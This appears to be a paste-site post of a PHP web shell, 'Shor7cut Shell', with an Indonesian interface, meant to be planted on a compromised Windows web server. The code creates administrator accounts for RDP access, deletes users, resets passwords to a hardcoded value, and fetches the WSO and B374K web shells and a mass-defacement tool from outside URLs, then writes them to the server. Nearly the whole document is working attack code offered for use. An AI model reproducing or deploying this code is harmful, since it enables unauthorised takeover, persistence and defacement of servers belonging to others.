nizham icon

script RDP shell

nizham | PRO | 10/31/16 05:27:53 PM UTC | 0 ⭐ | 284 👁️ | Never ⏰ | []
text |

8.08 KB

|

None

|

0 👍

/

0 👎

<?php 
error_reporting(0);
$local_host= shell_exec(hostname);
$server_ip = $_SERVER['SERVER_NAME'];
$gaya_root = "$local_host:~ ";
$phpv = @phpversion();
$o = "<br>";
  if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    $status_os = '<font color="greenyellow">Windows</font>/<font color="redpink">Linux</font>';
    $status_work = '<font color="greenyellow">Dapat Digunakan</font><br>'; 
} else {
    $status_os   = '<font color="redpink">Windows</font>/<font color="greenyellow">Linux</font>';
    $status_work = '<font color="red">Tidak Dapat Digunakan</font><br>'; 
}
?><!DOCTYPE html>
<html>
<head>
	<title>Shor7cut Shell (Beta Killer)</title>
	<link rel='shortcut icon' type='image/x-icon' href='http://s24.postimg.org/glkiiddg5/frog_152630_1280.png' />
	<meta name="description" content="Shor7cut Shell (Beta Killer)">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<style type="text/css">
	body {
    background: black;
    color: #00FF00;
    font-family: monospace;
}
 .accessGranted {
    position: absolute;
    top: 200px;
    background: #333;
    padding: 20px;
    border: 1px solid #999;
    width: 300px;
    left: 50%;
    margin-left: -150px;
    text-align: center;
}
 .accessDenied {
    position: absolute;
    top: 200px;
    color: #F00;
    background: #511;
    padding: 20px;
    border: 1px solid #F00;
    width: 300px;
    left: 50%;
    margin-left: -150px;
    text-align: center;
}
#content-center {
    width: 400px;
    padding: 0px 10px 10px 10px;
    width: 800px; 
    margin: 0 auto;
}
#content-left {
margin: 0 auto;
     text-align: left;
}
#content-right {
margin: 0 auto;
     text-align: right;
}
input,select,textarea{
    border:0;
    border:1px solid #900;
    background:black;
    margin:0;
        color: white;
     padding:2px 4px;
}
input:hover,textarea:hover,select:hover{
    background:black;
        color: red;
     border:1px solid #f00;
}
                        a{ text-decoration:none; color:red;}
</style>
</head>
<body>
<div id="content-center">
<pre>
     _    _
    (o)--(o)
   /.______.\   Code By SHOR7CUT | <font color="red">INDON</font><font color="white">ESIA</font> RAYA
   \________/   OS Server : <?php echo php_uname("s")." | "; echo "{".$status_os."}<br>";?>
  ./        \.  Informasi : <?php echo "Server IP - ".$server_ip." {".$_SERVER['REMOTE_ADDR']."}";?> 
 ( .        , ) Info Tool : <?php echo $status_work;?>
  \ \_\\//_/ /
   ~~  ~~  ~~
</pre>
</div>
<?php if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){?>
  <div id="content-left">
<p>-| Create RDP  |-</p>
<form action="" method="post">Username : <input type="text" name="username" required> Password : <input type="text" name="password" required> <input type="hidden" name="kshell" value="1"><input type="submit" name="submit" value=">>">
</form>
</div>
  <div id="content-left">
<p>-{ Option }-</p>
<form action="" method="post">!command : <input type="text" name="rusername" placeholder="Masukan Username"> <select name="aksi">
						<option value="1">Tampilkan Username</option>
						<option value="2">Hapus Username</option>
						<option value="3">Ubah Password</option>
				</select>
<input type="hidden" name="kshell" value="2">
<input type="submit" name="submit" value=">>"></form>
</div>
<?php }
?>
<div id="content-left">
<p>-{ Download Tools }-</p>
<form action="" method="post">!KTools  : <select name="download">
						<option value="1">K-MASS DEFACE (KILLER)</option>
						<option value="2">WSO-404 SHELL</option>
						<option value="3">B374K SHELL</option>
				</select>
<input type="hidden" name="kshell" value="3">
<input type="submit" name="submit" value=">>"></form>
</div>
   <?php
if($_POST['submit']){
echo "<p>---------------{ INFO }---------------</p>";	
if($_POST['kshell']=="1"){
	$r_user = $_POST['username'];
	$r_pass = $_POST['password'];
	$cmd_cek_user   = shell_exec("net user"); 
	if(preg_match("/$r_user/", $cmd_cek_user)){
		echo $gaya_root.$r_user." sudah ada".$o;
	}else {
	$cmd_add_user   = shell_exec("net user ".$r_user." ".$r_pass." /add");
    $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
    $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
    $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
     	if($cmd_add_user){
    		echo $gaya_root."[add user]-> ".$r_user." <font color='greenyellow'>Berhasil</font>".$o;
    	}else {
    		echo $gaya_root."[add user]-> ".$r_user." <font color='red'>Gagal</font>".$o;
    	}
    	if($cmd_add_groups1){
              echo $gaya_root."[add localgroup Administrators]-> ".$r_user." <font color='greenyellow'>Berhasil</font>".$o;
    	}else
    	if($cmd_add_groups2){
              echo $gaya_root."[add localgroup Administrator]-> ".$r_user." <font color='greenyellow'>Berhasil</font>".$o;
    	}else
    	if($cmd_add_groups3){
              echo $gaya_root."[add localgroup Administrateur]-> ".$r_user." <font color='greenyellow'>Berhasil</font>".$o;
    	}else {
    		  echo $gaya_root."[add localgroup]-> ".$r_user." <font color='red'>Gagal - Contact Shor7sec</font>".$o;
    	}
			  echo $gaya_root."[INFO PC]-> RDP IP ".$_SERVER["HTTP_HOST"]." Username : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Berhasil</font>".$o;
 	}
   }else if($_POST['kshell']=="2"){
 if($_POST['aksi']=="1"){
 echo "<pre>".shell_exec("net user");
}
else if($_POST['aksi']=="2"){
$username = $_POST['rusername'];
$cmd_cek_user   = shell_exec("net user");
	if (!empty($username)){
		if(preg_match("/$username/", $cmd_cek_user)){
		$cmd_add_user   = shell_exec("net user ".$username." /DELETE");
		if($cmd_add_user){ 
			echo $gaya_root."[remove user]-> ".$username." <font color='greenyellow'>Berhasil</font>".$o;
		}else {
			echo $gaya_root."[remove user]-> ".$username." <font color='red'>gagal</font>".$o;
		}
	}else {
		echo $gaya_root."[remove user]-> ".$username." <font color='red'>Tidak ditemukan</font>".$o;
	}
	}else {
		echo $gaya_root."[PESAN]-> <font color='red'>Kamu lupa masukin Username yang akan di delete</font>".$o;
	}
}
else if($_POST['aksi']=="3"){
$username = $_POST['rusername'];
$password = "shor7cut";
$cmd_cek_user   = shell_exec("net user");
	if (!empty($username)){
		if(preg_match("/$username/", $cmd_cek_user)){
			$cmd_add_user   = shell_exec("net user ".$username." shor7cut");
			if($cmd_add_user){
			echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='greenyellow'>Berhasil</font>".$o;
		}else {
			echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='red'>GAGAL</font>".$o;
		}
	}else
{
	echo $gaya_root."[PESAN]-> <font color='red'>Username Tidak Ditemukan di server</font>".$o;
}
}else
{
	echo $gaya_root."[PESAN]-> <font color='red'>Kamu lupa masukin Username yang akan di delete</font>".$o;
}
 }
   }if($_POST['kshell']=="3"){
if($_POST['download']=="1"){
$files = file_get_contents("https://raw.githubusercontent.com/ekasyahwan/php/master/k-mass%20deface.php");
$status = file_put_contents("k-mass.php", $files);
if($status){
	echo '<a href="k-mass.php" target="_blank">K-MASS DEFACE</a>';
}else {
	echo '<font color="red">Gagal Mendownload</font>, PHP versi '.$phpv;
}
}else if($_POST['download']=="2"){
$files = file_get_contents("https://raw.githubusercontent.com/ekasyahwan/Bug7Sec/master/Minimonback-Bug7Sec/wso-bug7sec.php");
$status = file_put_contents("wso-bug7sec.php", $files);
if($status){
	echo '<a href="wso-bug7sec.php" target="_blank">Wso Bug7sec</a> password : bug7sec';
}else {
	echo '<font color="red">Gagal Mendownload</font>, PHP versi '.$phpv;
}
}else if($_POST['download']=="3"){
$files = file_get_contents("https://raw.githubusercontent.com/ekasyahwan/php/master/b374k-28.php");
$status = file_put_contents("b374k-28.php", $files);
if($status){
	echo '<a href="b374k-28.php" target="_blank">Wso Bug7sec</a> password : bug7sec';
}else {
	echo '<font color="red">Gagal Mendownload</font>, PHP versi '.$phpv;
}
}
}
}	
?>
 </pre>
</body>
</html>

Comments